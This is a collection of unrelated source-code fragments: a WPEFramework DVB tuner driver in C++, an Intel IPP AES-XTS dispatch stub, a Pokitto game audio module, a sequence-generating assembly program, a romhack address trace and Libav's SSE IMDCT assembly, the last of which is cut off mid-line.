Broadcast::TRANSMISSION_1K, .to = TRANSMISSION_MODE_1K }, { .from = Broadcast::TRANSMISSION_2K, .to = TRANSMISSION_MODE_2K }, { .from = Broadcast::TRANSMISSION_4K, .to = TRANSMISSION_MODE_4K }, { .from = Broadcast::TRANSMISSION_8K, .to = TRANSMISSION_MODE_8K }, { .from = Broadcast::TRANSMISSION_16K, .to = TRANSMISSION_MODE_16K }, { .from = Broadcast::TRANSMISSION_32K, .to = TRANSMISSION_MODE_32K }, { .from = Broadcast::TRANSMISSION_C3780, .to = TRANSMISSION_MODE_C3780 }, { .from = Broadcast::TRANSMISSION_C1, .to = TRANSMISSION_MODE_C1 } }; static constexpr conversion_entry _tableGuard[] = { { .from = Broadcast::GUARD_AUTO, .to = GUARD_INTERVAL_AUTO }, { .from = Broadcast::GUARD_1_4, .to = GUARD_INTERVAL_1_4 }, { .from = Broadcast::GUARD_1_8, .to = GUARD_INTERVAL_1_8 }, { .from = Broadcast::GUARD_1_16, .to = GUARD_INTERVAL_1_16 }, { .from = Broadcast::GUARD_1_32, .to = GUARD_INTERVAL_1_32 }, { .from = Broadcast::GUARD_1_128, .to = GUARD_INTERVAL_1_128 }, { .from = Broadcast::GUARD_19_128, .to = GUARD_INTERVAL_19_128 }, { .from = Broadcast::GUARD_19_256, .to = GUARD_INTERVAL_19_256 } }; static constexpr conversion_entry _tableHierarchy[] = { { .from = Broadcast::NoHierarchy, .to = HIERARCHY_NONE }, { .from = Broadcast::AutoHierarchy, .to = HIERARCHY_AUTO }, { .from = Broadcast::Hierarchy1, .to = HIERARCHY_1 }, { .from = Broadcast::Hierarchy2, .to = HIERARCHY_2 }, { .from = Broadcast::Hierarchy4, .to = HIERARCHY_4 } }; /* static constexpr conversion_entry _tablePilot[] = { { .from = Broadcast::PILOT_AUTO, .to = PILOT_AUTO }, { .from = Broadcast::PILOT_ON, .to = PILOT_ON }, { .from = Broadcast::PILOT_OFF, .to = PILOT_OFF } }; static constexpr conversion_entry _tableRollOff[] = { { .from = Broadcast::HIERARCHY_AUTO, .to = ROLLOFF_AUTO }, { .from = Broadcast::ROLLOFF_20, .to = ROLLOFF_20 }, { .from = Broadcast::ROLLOFF_25, .to = ROLLOFF_25 }, { .from = Broadcast::ROLLOFF_35, .to = ROLLOFF_35 } }; */ template <size_t N> int Convert(const conversion_entry (&table)[N], const int from, const int ifnotfound) { uint16_t index = 0; while ((index < N) && (from != table[index].from)) { index++; } return (index < N ? table[index].to : ifnotfound); } void Property(dtv_property& property, const int command, const int value) { property.cmd = command; property.u.data = value; } static uint16_t IndexToFrontend(const uint8_t /* index */) { uint8_t adapter = 0; uint8_t frontend = 0; // Count the number of frontends you have per adapter, substract those from the index.. return ((adapter << 8) | frontend); } class __attribute__((visibility("hidden"))) Tuner : public ITuner { private: Tuner() = delete; Tuner(const Tuner&) = delete; Tuner& operator=(const Tuner&) = delete; public: class Information { private: Information(const Information&) = delete; Information& operator=(const Information&) = delete; private: class Config : public Core::JSON::Container { private: Config(const Config&); Config& operator=(const Config&); public: Config() : Core::JSON::Container() , Frontends(1) , Decoders(1) , Standard(ITuner::DVB) , Annex(ITuner::A) , Modus(ITuner::Terrestrial) , Scan(false) , Callsign("Streamer") { Add(_T("frontends"), &Frontends); Add(_T("decoders"), &Decoders); Add(_T("standard"), &Standard); Add(_T("annex"), &Annex); Add(_T("modus"), &Modus); Add(_T("scan"), &Scan); Add(_T("callsign"), &Callsign); } ~Config() { } public: Core::JSON::DecUInt8 Frontends; Core::JSON::DecUInt8 Decoders; Core::JSON::EnumType<ITuner::DTVStandard> Standard; Core::JSON::EnumType<ITuner::annex> Annex; Core::JSON::EnumType<ITuner::modus> Modus; Core::JSON::Boolean Scan; Core::JSON::String Callsign; }; Information() : _frontends(0) , _standard() , _annex() , _modus() , _type() , _scan(false) { } public: static Information& Instance() { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); return (_instance); } ~Information() { } void Initialize(const string& configuration) { Config config; config.FromString(configuration); _frontends = config.Frontends.Value(); _standard = config.Standard.Value(); _annex = config.Annex.Value(); _scan = config.Scan.Value(); _modus = config.Modus.Value(); _type = Convert(_tableSystemType, _standard | _modus | _annex, SYS_UNDEFINED); ASSERT(_type != SYS_UNDEFINED); printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); } void Deinitialize() { } public: inline ITuner::DTVStandard Standard() const { return (_standard); } inline ITuner::annex Annex() const { return (_annex); } inline ITuner::modus Modus() const { return (_modus); } inline int Type() const { return (_type); } inline bool Scan() const { return (_scan); } private: uint8_t _frontends; ITuner::DTVStandard _standard; ITuner::annex _annex; ITuner::modus _modus; int _type; bool _scan; static Information _instance; }; private: Tuner(uint8_t index, Broadcast::transmission transmission = Broadcast::TRANSMISSION_AUTO, Broadcast::guard guard = Broadcast::GUARD_AUTO, Broadcast::hierarchy hierarchy = Broadcast::AutoHierarchy) : _state(IDLE) , _frontend() , _transmission() , _guard() , _hierarchy() , _info({ 0 }) , _callback(nullptr) { _callback = TunerAdministrator::Instance().Announce(this); printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); if (Tuner::Information::Instance().Type() != SYS_UNDEFINED) { char deviceName[32]; uint16_t info = IndexToFrontend(index); ::snprintf(deviceName, sizeof(deviceName), "/dev/dvb/adapter%d/frontend%d", (info >> 8), (info & 0xFF)); _frontend = open(deviceName, O_RDWR); //ASSERT(_frontend != -1) if (_frontend != -1) { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); if (::ioctl(_frontend, FE_GET_INFO, &_info) == -1) { TRACE_L1("Can not get information about the frontend. Error %d.", errno); close(_frontend); _frontend = -1; printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); } TRACE_L1("Opened frontend %s.", _info.name); printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); } else { TRACE_L1("Can not open frontend %s error: %d.", deviceName, errno); printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); } printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); _transmission = Convert(_tableTransmission, transmission, TRANSMISSION_MODE_AUTO); _guard = Convert(_tableGuard, guard, GUARD_INTERVAL_AUTO); _hierarchy = Convert(_tableHierarchy, hierarchy, HIERARCHY_AUTO); } } public: ~Tuner() { TunerAdministrator::Instance().Revoke(this); Detach(0); if (_frontend != -1) { close(_frontend); } _callback = nullptr; } static ITuner* Create(const string& info) { Tuner* result = nullptr; uint8_t index = Core::NumberType<uint8_t>(Core::TextFragment(info)).Value(); printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); result = new Tuner(index); printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); if ((result != nullptr) && (result->IsValid() == false)) { delete result; result = nullptr; } printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); return (result); } public: bool IsValid() const { return (_frontend != -1); } const char* Name() const { return (_info.name); } virtual uint32_t Properties() const override { Information& instance = Information::Instance(); return (instance.Annex() | instance.Standard() | #ifdef SATELITE ITuner::modus::Satellite #else ITuner::modus::Terrestrial #endif ); // ITuner::modus::Cable } // Currently locked on ID // This method return a unique number that will identify the locked on Transport stream. The ID will always // identify the uniquely locked on to Tune request. ID => 0 is reserved and means not locked on to anything. virtual uint16_t Id() const override { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); return 0; //(_state == IDLE ? 0 : _settings.frequency / 1000000); } // Using these methods the state of the tuner can be viewed. // IDLE: Means there is no request, or the frequency requested (with other parameters) can not be locked. // LOCKED: The stream has been locked, frequency, modulation, symbolrate and spectral inversion seem to be fine. // PREPARED: The program that was requetsed to prepare fore, has been found in PAT/PMT, the needed information, // like PIDS is loaded. If Priming is available, this means that the priming has started! // STREAMING: This means that the requested program is being streamed to decoder or file, depending on implementation/inpuy. virtual state State() const override { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); return _state; } // Using the next method, the allocated Frontend will try to lock the channel that is found at the given parameters. // Frequency is always in MHz. virtual uint32_t Tune(const uint16_t frequency, const Modulation modulation, const uint32_t symbolRate, const uint16_t fec, const SpectralInversion inversion) override { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); uint8_t propertyCount; struct dtv_property props[16]; ::memset(&props, 0, sizeof(props)); Property(props[0], DTV_DELIVERY_SYSTEM, Tuner::Information::Instance().Type()); Property(props[1], DTV_FREQUENCY, frequency * 1000000); Property(props[2], DTV_MODULATION, Convert(_tableModulation, modulation, QAM_64)); Property(props[3], DTV_INVERSION, Convert(_tableInversion, inversion, INVERSION_AUTO)); Property(props[4], DTV_SYMBOL_RATE, symbolRate); Property(props[5], DTV_INNER_FEC, Convert(_tableFEC, fec, FEC_AUTO)); propertyCount = 6; if (Tuner::Information::Instance().Modus() == ITuner::Terrestrial){ Property(props[6], DTV_BANDWIDTH_HZ, Convert(_tableBandwidth, symbolRate, BANDWIDTH_AUTO)); Property(props[7], DTV_CODE_RATE_HP, Convert(_tableFEC, (fec & 0xFF), FEC_AUTO)); Property(props[8], DTV_CODE_RATE_LP, Convert(_tableFEC, ((fec >> 8) & 0xFF), FEC_AUTO)); Property(props[9], DTV_TRANSMISSION_MODE, _transmission); Property(props[10], DTV_GUARD_INTERVAL, _guard); Property(props[11], DTV_HIERARCHY, _hierarchy); propertyCount = 12; } Property(props[propertyCount++], DTV_TUNE, 0); struct dtv_properties dtv_prop = { .num = propertyCount, .props = props }; printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); if (ioctl(_frontend, FE_SET_PROPERTY, &dtv_prop) == -1) { perror("ioctl"); } else { TRACE_L1("Tuning request send out !!!\n"); } printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); return (Core::ERROR_NONE); } // In case the tuner needs to be tuned to s apecific programId, please list it here. Once the PID's associated to this // programId have been found, and set, the Tuner will reach its PREPARED state. virtual uint32_t Prepare(const uint16_t programId) override { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); return 0; } // A Tuner can be used to filter PSI/SI. Using the next call a callback can be installed to receive sections associated // with a table. Each valid section received will be offered as a single section on the ISection interface for the user // to process. virtual uint32_t Filter(const uint16_t pid, const uint8_t tableId, ISection* callback) override { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); return 0; } // Using the next two methods, the frontends will be hooked up to decoders or file, and be removed from a decoder or file. virtual uint32_t Attach(const uint8_t index) override { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); return 0; } virtual uint32_t Detach(const uint8_t index) override { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); return 0; } private: Core::StateTrigger<state> _state; int _frontend; int _transmission; int _guard; int _hierarchy; struct dvb_frontend_info _info; TunerAdministrator::ICallback* _callback; }; /* static */ Tuner::Information Tuner::Information::_instance; // The following methods will be called before any create is called. It allows for an initialization, // if requires, and a deinitialization, if the Tuners will no longer be used. /* static */ uint32_t ITuner::Initialize(const string& configuration) { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); Tuner::Information::Instance().Initialize(configuration); return (Core::ERROR_NONE); } /* static */ uint32_t ITuner::Deinitialize() { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); Tuner::Information::Instance().Deinitialize(); return (Core::ERROR_NONE); } // Accessor to create a tuner. /* static */ ITuner* ITuner::Create(const string& configuration) { printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); return (Tuner::Create(configuration)); printf("%s:%d %s\n", __FILE__, __LINE__, __FUNCTION__); } } // namespace Broadcast } // namespace WPEFramework
extern m7_ippsAESDecryptXTS_Direct:function extern n8_ippsAESDecryptXTS_Direct:function extern y8_ippsAESDecryptXTS_Direct:function extern e9_ippsAESDecryptXTS_Direct:function extern l9_ippsAESDecryptXTS_Direct:function extern n0_ippsAESDecryptXTS_Direct:function extern k0_ippsAESDecryptXTS_Direct:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsAESDecryptXTS_Direct .Larraddr_ippsAESDecryptXTS_Direct: dq m7_ippsAESDecryptXTS_Direct dq n8_ippsAESDecryptXTS_Direct dq y8_ippsAESDecryptXTS_Direct dq e9_ippsAESDecryptXTS_Direct dq l9_ippsAESDecryptXTS_Direct dq n0_ippsAESDecryptXTS_Direct dq k0_ippsAESDecryptXTS_Direct segment .text global ippsAESDecryptXTS_Direct:function (ippsAESDecryptXTS_Direct.LEndippsAESDecryptXTS_Direct - ippsAESDecryptXTS_Direct) .Lin_ippsAESDecryptXTS_Direct: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsAESDecryptXTS_Direct: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsAESDecryptXTS_Direct] mov r11, qword [r11+rax*8] jmp r11 .LEndippsAESDecryptXTS_Direct:
#include "audiosystem.h" #ifdef POKITTO_SFML float vol = 0; void AudioSystem::setVolume(float value) { vol = value; } float AudioSystem::getVolume() { return vol; } void AudioSystem::play(SFX) { } void AudioSystem::playSong(Song) { } #else #include "core/pokittolibextensions.h" #include "Pokitto.h" #include <LibAudio> void AudioSystem::setVolume(float value) { Audio::setVolume(value * 128.0f); } float AudioSystem::getVolume() { uint8_t v; Audio::getVolume(&v); return float(v) / 128.0f; } #include <cstdint> #include "sounds/menu_change.h" #include "sounds/menu_select.h" #include "sounds/player_attack.h" #include "sounds/player_struck.h" #include "sounds/player_destroyed.h" #include "sounds/enemy_attack_new.h" #include "sounds/base_struck.h" #include "sounds/alert.h" #include "sounds/tech_get.h" #include "sounds/enemy_struck.h" #include "sounds/enemy_destroyed.h" #include "sounds/player_special.h" #include "sounds/ball_bounce_1.h" #include "Pokitto.h" #include <LibAudio> Audio::Sink<4, PROJ_AUD_FREQ> audio; template <int N> void playOnChannel(SFX sfx) { switch(sfx) { case MenuChange: Audio::play<N>(menu_change); break; case MenuSelect: Audio::play<N>(menu_select); break; case TechGet: Audio::play<N>(tech_get); break; case BallBounce: Audio::play<N>(ball_bounce_1); break; case EnemyStruck: Audio::play<N>(enemy_struck); break; case PlayerAttack: Audio::play<N>(player_attack); break; case PlayerStruck: Audio::play<N>(player_struck); break; case PlayerDestroyed: Audio::play<N>(player_destroyed); break; case PlayerSpecial: Audio::play<N>(player_special); break; case EnemyAttack: Audio::play<N>(enemy_attack_new); break; case EnemyDestroyed: Audio::play<N>(enemy_destroyed); break; case BaseStruck: Audio::play<N>(base_struck); break; case Alert: Audio::play<N>(alert); break; default: return; } } void AudioSystem::play(SFX sfx) { static int channel = 0; channel = (channel + 1) % 3; switch(channel) { case 0: playOnChannel<1>(sfx); break; case 1: playOnChannel<2>(sfx); break; case 2: playOnChannel<3>(sfx); break; default: break; } } void AudioSystem::playSong(Song song) { static Song activeSong = Song::None; if (activeSong == song) return; activeSong = song; static int title_counter = 0; switch(song) { case None: Audio::stop<0>(); break; case TitleTheme: title_counter++; if (title_counter % 2 == 0) { Audio::play<0>("music/stardef0.raw"); } else { Audio::play<0>("music/stardef1.raw"); } break; case MainTheme: Audio::play<0>("music/stardef2.raw"); break; case BossTheme: Audio::play<0>("music/stardef3.raw"); break; default: break; } } #endif
; A133665: a(n) = a(n-1) - 9*a(n-2), a(0) = 1, a(1) = 3. ; 1,3,-6,-33,21,318,129,-2733,-3894,20703,55749,-130578,-632319,542883,6233754,1347807,-54755979,-66886242,425917569,1027893747,-2805364374,-12056408097,13191871269,121699544142,2972702721,-1092323194557,-1119077519046,8711831231967,18783528903381,-59622952184322,-228674712314751,307931857344147,2366004268176906,-405382447920417 mov $1,2 mov $3,$0 lpb $0 mov $0,0 sub $3,$1 add $3,$1 mul $1,9 sub $3,1 sub $0,$3 add $2,$1 add $1,2 sub $1,$2 add $1,4 lpe sub $1,2 div $1,2 add $1,1
copyright zengfr site:http://github.com/zengfr/romhack 036B80 bne $36b8a [enemy+D5] 036B96 move.w #$200, ($2a,A0) [enemy+D5] 036F3A clr.b ($d5,A0) [enemy+4A] 036F3E tst.b ($16,A0) 036F78 bne $36f96 [enemy+D5] 036F8C st ($d5,A0) [enemy+4A] 036F90 jsr $10d2.w [enemy+D5] 036F9A jsr $2470.w [enemy+D5] copyright zengfr site:http://github.com/zengfr/romhack
;****************************************************************************** ;* 36 point SSE-optimized IMDCT transform ;* Copyright (c) 2011 Vitor Sessak ;* ;* This file is part of Libav. ;* ;* Libav is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* Libav is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with Libav; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86inc.asm" %include "libavutil/x86/x86util.asm" SECTION_RODATA align 16 ps_mask: dd 0, ~0, ~0, ~0 ps_mask2: dd 0, ~0, 0, ~0 ps_mask3: dd 0, 0, 0, ~0 ps_mask4: dd 0, ~0, 0, 0 ps_val1: dd -0.5, -0.5, -0.8660254038, -0.8660254038 ps_val2: dd 1.0, 1.0, 0.8660254038, 0.8660254038 ps_val3: dd 0.1736481777, 0.1736481777, 0.3420201433, 0.3420201433 ps_val4: dd -0.7660444431, -0.7660444431, 0.8660254038, 0.8660254038 ps_val5: dd -0.9396926208, -0.9396926208, -0.9848077530, -0.9848077530 ps_val6: dd 0.5, 0.5, -0.6427876097, -0.6427876097 ps_val7: dd 1.0, 1.0, -0.6427876097, -0.6427876097 ps_p1p1m1m1: dd 0, 0, 0x80000000, 0x80000000 ps_p1m1p1m1: dd 0, 0x80000000, 0, 0x80000000 ps_cosh: dd 1.0, 0.50190991877167369479, 1.0, 5.73685662283492756461 dd 1.0, 0.51763809020504152469, 1.0, 1.93185165257813657349 dd 1.0, 0.55168895948124587824, -1.0, -1.18310079157624925896 dd 1.0, 0.61038729438072803416, -1.0, -0.87172339781054900991 dd 1.0, 0.70710678118654752439, 0.0, 0.0 ps_cosh_sse3: dd 1.0, -0.50190991877167369479, 1.0, -5.73685662283492756461 dd 1.0, -0.51763809020504152469, 1.0, -1.93185165257813657349 dd 1.0, -0.55168895948124587824, -1.0, 1.18310079157624925896 dd 1.0, -0.61038729438072803416, -1.0, 0.87172339781054900991 dd 1.0, 0.70710678118654752439, 0.0, 0.0 costabs: times 4 dd 0.98480773 times 4 dd 0.93969262 times 4 dd 0.86602539 times 4 dd -0.76604444 times 4 dd -0.64278764 times 4 dd 0.50000000 times 4 dd -0.50000000 times 4 dd -0.34202015 times 4 dd -0.17364818 times 4 dd 0.50190992 times 4 dd 0.51763808 times 4 dd 0.55168896 times 4 dd 0.61038726 times 4 dd 0.70710677 times 4 dd 0.87172341 times 4 dd 1.18310082 times 4 dd 1.93185163 times 4 dd 5.73685646 %define SBLIMIT 32 SECTION_TEXT %macro PSHUFD 3 %if cpuflag(sse2) && notcpuflag(avx) pshufd %1, %2, %3 %else shufps %1, %2, %2, %3 %endif %endmacro ; input %2={x1,x2,x3,x4}, %3={y1,y2,y3,y4} ; output %1={x3,x4,y1,y2} %macro BUILDINVHIGHLOW 3 %if cpuflag(avx) shufps %1, %2, %3, 0x4e %else movlhps %1, %3 movhlps %1, %2 %endif %endmacro ; input %2={x1,x2,x3,x4}, %3={y1,y2,y3,y4} ; output %1={x4,y1,y2,y3} %macro ROTLEFT 3 %if cpuflag(ssse3) palignr %1, %3, %2, 12 %else BUILDINVHIGHLOW %1, %2, %3 shufps %1, %1, %3, 0x99 %endif %endmacro %macro INVERTHL 2 %if cpuflag(sse2) PSHUFD %1, %2, 0x4e %else movhlps %1, %2 movlhps %1, %2 %endif %endmacro %macro BUTTERF 3 INVERTHL %2, %1 xorps %1, [ps_p1p1m1m1] addps %1, %2 %if cpuflag(sse3) mulps %1, %1, [ps_cosh_sse3 + %3] PSHUFD %2, %1, 0xb1 addsubps %1, %1, %2 %else mulps %1, [ps_cosh + %3] PSHUFD %2, %1, 0xb1 xorps %1, [ps_p1m1p1m1] addps %1, %2 %endif %endmacro %macro STORE 4 movhlps %2, %1 movss [%3 ], %1 movss [%3 + 2*%4], %2 shufps %1, %1, 0xb1 movss [%3 + %4], %1 movhlps %2, %1 movss [%3 + 3*%4], %2 %endmacro %macro LOAD 4 movlps %1, [%3 ] movhps %1, [%3 + %4] movlps %2, [%3 + 2*%4] movhps %2, [%3 + 3*%4] shufps %1, %2, 0x88 %endmacro %macro LOADA64 2 %if cpuflag(avx) movu %1, [%2] %else movlps %1, [%2] movhps %1, [%2 + 8] %endif %endmacro %macro DEFINE_IMDCT 0 cglobal imdct36_float, 4,4,9, out, buf, in, win ; for(i=17;i>=1;i--) in[i] += in[i-1]; LOADA64 m0, inq LOADA64 m1, inq + 16 ROTLEFT m5, m0, m1 PSHUFD m6, m0, 0x93 andps m6, m6, [ps_mask] addps m0, m0, m6 LOADA64 m2, inq + 32 ROTLEFT m7, m1, m2 addps m1, m1, m5 LOADA64 m3, inq + 48 ROTLEFT m5, m2, m3 xorps m4, m4, m4 movlps m4, [inq+64] BUILDINVHIGHLOW m6, m3, m4 shufps m6, m6, m4, 0xa9 addps m4, m4, m6 addps m2, m2, m7 addps m3, m3, m5 ; for(i=17;i>=3;i-=2) in[i] += in[i-2]; movlhps m5, m5, m0 andps m5, m5, [ps_mask3] BUILDINVHIGHLOW m7, m0, m1 andps m7, m7, [ps_mask2] addps m0, m0, m5 BUILDINVHIGHLOW m6, m1, m2 andps m6, m6, [ps_mask2] addps m1, m1, m7 BUILDINVHIGHLOW m7, m2, m3 andps m7, m7, [ps_mask2] addps m2, m2, m6 movhlps m6, m6, m3 andps m6, m6, [ps_mask4] addps m3, m3, m7 addps m4, m4, m6 ; Populate tmp[] movlhps m6, m1, m5 ; zero out high values subps m6, m6, m4 subps m5, m0, m3 %if ARCH_X86_64 SWAP m5, m8 %endif mulps m7, m2, [ps_val1] %if ARCH_X86_64 mulps m5, m8, [ps_val2] %else mulps m5, m5, [ps_val2] %endif addps m7, m7, m5 mulps m5, m6, [ps_val1] subps m7, m7, m5 %if ARCH_X86_64 SWAP m5, m8 %else subps m5, m0, m3 %endif subps m5, m5, m6 addps m5, m5, m2 shufps m6, m4, m3, 0xe4 subps m6, m6, m2 mulps m6, m6, [ps_val3] addps m4, m4, m1 mulps m4, m4, [ps_val4] shufps m1, m1, m0, 0xe4 addps m1, m1, m2 mulps m1, m1, [ps_val5] mulps m3, m3, [ps_val6] mulps m0, m0, [ps_val7] addps m0, m0, m3 xorps m2, m1, [ps_p1p1m1m1] subps m2, m2, m4 addps m2, m2, m0 addps m3, m4, m0 subps m3, m3, m6 xorps m3, m3, [ps_p1p1m1m1] shufps m0, m0, m4, 0xe4 subps m0, m0, m1 addps m0, m0, m6 BUILDINVHIGHLOW m4, m2, m3 shufps m3, m3, m2, 0x4e ; we have tmp = {SwAPLH(m0), SwAPLH(m7), m3, m4, m5} BUTTERF m0, m1, 0 BUTTERF m7, m2, 16 BUTTERF m3, m6, 32 BUTTERF m4, m1, 48 mulps m5, m5, [ps_cosh + 64] PSHUFD m1, m5, 0xe1 xorps m5, m5, [ps_p1m1p1m1] addps m5, m5, m1 ; permutates: ; m0 0 1 2 3 => 2 6 10 14 m1 ; m7 4 5 6 7 => 3 7 11 15 m2 ; m3 8 9 10 11 => 17 13 9 5 m3 ; m4 12 13 14 15 => 16 12 8 4 m5 ; m5 16 17 xx xx => 0 1 xx xx m0 unpckhps m1, m0, m7 unpckhps m6, m3, m4 movhlps m2, m6, m1 movlhps m1, m1, m6 unpcklps m5, m5, m4 unpcklps m3, m3, m7 movhlps m4, m3, m5 movlhps m5, m5, m3 SWAP m4, m3 ; permutation done PSHUFD m6, m2, 0xb1 movss m4, [bufq + 4*68] movss m7, [bufq + 4*64] unpcklps m7, m7, m4 mulps m6, m6, [winq + 16*4] addps m6, m6, m7 movss [outq + 64*SBLIMIT], m6 shufps m6, m6, m6, 0xb1 movss [outq + 68*SBLIMIT], m6 mulps m6, m3, [winq + 4*4] LOAD m4, m7, bufq + 4*16, 16 addps m6, m6, m4 STORE m6, m7, outq + 16*SBLIMIT, 4*SBLIMIT shufps m4, m0, m3, 0xb5 mulps m4, m4, [winq + 8*4] LOAD m7, m6, bufq + 4*32, 16 addps m4, m4, m7 STORE m4, m6, outq + 32*SBLIMIT, 4*SBLIMIT shufps m3, m3, m2, 0xb1 mulps m3, m3, [winq + 12*4] LOAD m7, m6, bufq + 4*48, 16 addps m3, m3, m7 STORE m3, m7, outq + 48*SBLIMIT, 4*SBLIMIT mulps m2, m2, [winq] LOAD m6, m7, bufq, 16 addps m2, m2, m6 STORE m2, m7, outq, 4*SBLIMIT mulps m4, m1, [winq + 20*4] STORE m4, m7, bufq, 16 mulps m3, m5, [winq + 24*4] STORE m3, m7, bufq + 4*16, 16 shufps m0, m0, m5, 0xb0 mulps m0, m0, [winq + 28*4] STORE m0, m7, bufq + 4*32, 16 shufps m5, m5, m1, 0xb1 mulps m5, m5, [winq + 32*4] STORE m5, m7, bufq + 4*48, 16 shufps m1, m1, m1, 0xb1 mulps m1, m1, [winq + 36*4] movss [bufq + 4*64], m1 shufps m1, m1, 0xb1 movss [bufq + 4*68], m1 RET %endmacro INIT_XMM sse DEFINE_IMDCT INIT_XMM sse2 DEFINE_IMDCT INIT_XMM sse3 DEFINE_IMDCT INIT_XMM ssse3 DEFINE_IMDCT %if HAVE_AVX INIT_XMM avx DEFINE_IMDCT %endif INIT_XMM sse %if ARCH_X86_64 %define SPILL SWAP %define UNSPILL SWAP %define SPILLED(x) m %+ x %else %define SPILLED(x) [tmpq+(x-8)*16 + 32*4] %macro SPILL 2 ; xmm#, mempos movaps SPILLED(%2), m%1 %endmacro %macro UNSPILL 2 movaps m%1, SPILLED(%2) %endmacro %endif %macro DEFINE_FOUR_IMDCT 0 cglobal four_imdct36_float, 5,5,16, out, buf, in, win, tmp movlps m0, [inq+64] movhps m0, [inq+64 + 72] movlps m3, [inq+64 + 2*72] movhps m3, [inq+64 + 3*72] shufps m5, m0, m3, 0xdd shufps m0, m0, m3, 0x88 mova m1, [inq+48] movu m6, [inq+48 + 72] mova m7, [inq+48 + 2*72] movu m3, [inq+48 + 3*72] TRANSPOSE4x4PS 1, 6, 7, 3, 4 addps m4, m6, m7 mova [tmpq+4*28], m4 addps m7, m3 addps m6, m1 addps m3, m0 addps m0, m5 addps m0, m7 addps m7, m6 mova [tmpq+4*12], m7 SPILL 3, 12 mova m4, [inq+32] movu m5, [inq+32 + 72] mova m2, [inq+32 + 2*72] movu m7, [inq+32 + 3*72] TRANSPOSE4x4PS 4, 5, 2, 7, 3 addps m1, m7 SPILL 1, 11 addps m3, m5, m2 SPILL 3, 13 addps m7, m2 addps m5, m4 addps m6, m7 mova [tmpq], m6 addps m7, m5 mova [tmpq+4*16], m7 mova m2, [inq+16] movu m7, [inq+16 + 72] mova m1, [inq+16 + 2*72] movu m6, [inq+16 + 3*72] TRANSPOSE4x4PS 2, 7, 1, 6, 3 addps m4, m6 addps m6, m1 addps m1, m7 addps m7, m2 addps m5, m6 SPILL 5, 15 addps m6, m7 mulps m6, [costabs + 16*2] mova [tmpq+4*8], m6 SPILL 1, 10 SPILL 0, 14 mova m1, [inq] movu m6, [inq + 72] mova m3, [inq + 2*72] movu m5, [inq + 3*72] TRANSPOSE4x4PS 1, 6, 3, 5, 0 addps m2, m5 addps m5, m3 addps m7, m5 addps m3, m6 addps m6, m1 SPILL 7, 8 addps m5, m6 SPILL 6, 9 addps m6, m4, SPILLED(12) subps m6, m2 UNSPILL 7, 11 SPILL 5, 11 subps m5, m1, m7 mulps m7, [costabs + 16*5] addps m7, m1 mulps m0, m6, [costabs + 16*6] addps m0, m5 mova [tmpq+4*24], m0 addps m6, m5 mova [tmpq+4*4], m6 addps m6, m4, m2 mulps m6, [costabs + 16*1] subps m4, SPILLED(12) mulps m4, [costabs + 16*8] addps m2, SPILLED(12) mulps m2, [costabs + 16*3] subps m5, m7, m6 subps m5, m2 addps m6, m7 addps m6, m4 addps m7, m2 subps m7, m4 mova [tmpq+4*20], m7 mova m2, [tmpq+4*28] mova [tmpq+4*28], m5 UNSPILL 7, 13 subps m5, m7, m2 mulps m5, [costabs + 16*7] UNSPILL 1, 10 mulps m1, [costabs + 16*2] addps m4, m3, m2 mulps m4, [costabs + 16*4] addps m2, m7 addps m7, m3 mulps m7, [costabs] subps m3, m2 mulps m3, [costabs + 16*2] addps m2, m7, m5 addps m2, m1 SPILL 2, 10 addps m7, m4 subps m7, m1 SPILL 7, 12 subps m5, m4 subps m5, m1 UNSPILL 0, 14 SPILL 5, 13 addps m1, m0, SPILLED(15) subps m1, SPILLED(8) mova m4, [costabs + 16*5] mulps m4, [tmpq] UNSPILL 2, 9 addps m4, m2 subps m2, [tmpq] mulps m5, m1, [costabs + 16*6] addps m5, m2 SPILL 5, 9 addps m2, m1 SPILL 2, 14 UNSPILL 5, 15 subps m7, m5, m0 addps m5, SPILLED(8) mulps m5, [costabs + 16*1] mulps m7, [costabs + 16*8] addps m0, SPILLED(8) mulps m0, [costabs + 16*3] subps m2, m4, m5 subps m2, m0 SPILL 2, 15 addps m5, m4 addps m5, m7 addps m4, m0 subps m4, m7 SPILL 4, 8 mova m7, [tmpq+4*16] mova m2, [tmpq+4*12] addps m0, m7, m2 subps m0, SPILLED(11) mulps m0, [costabs + 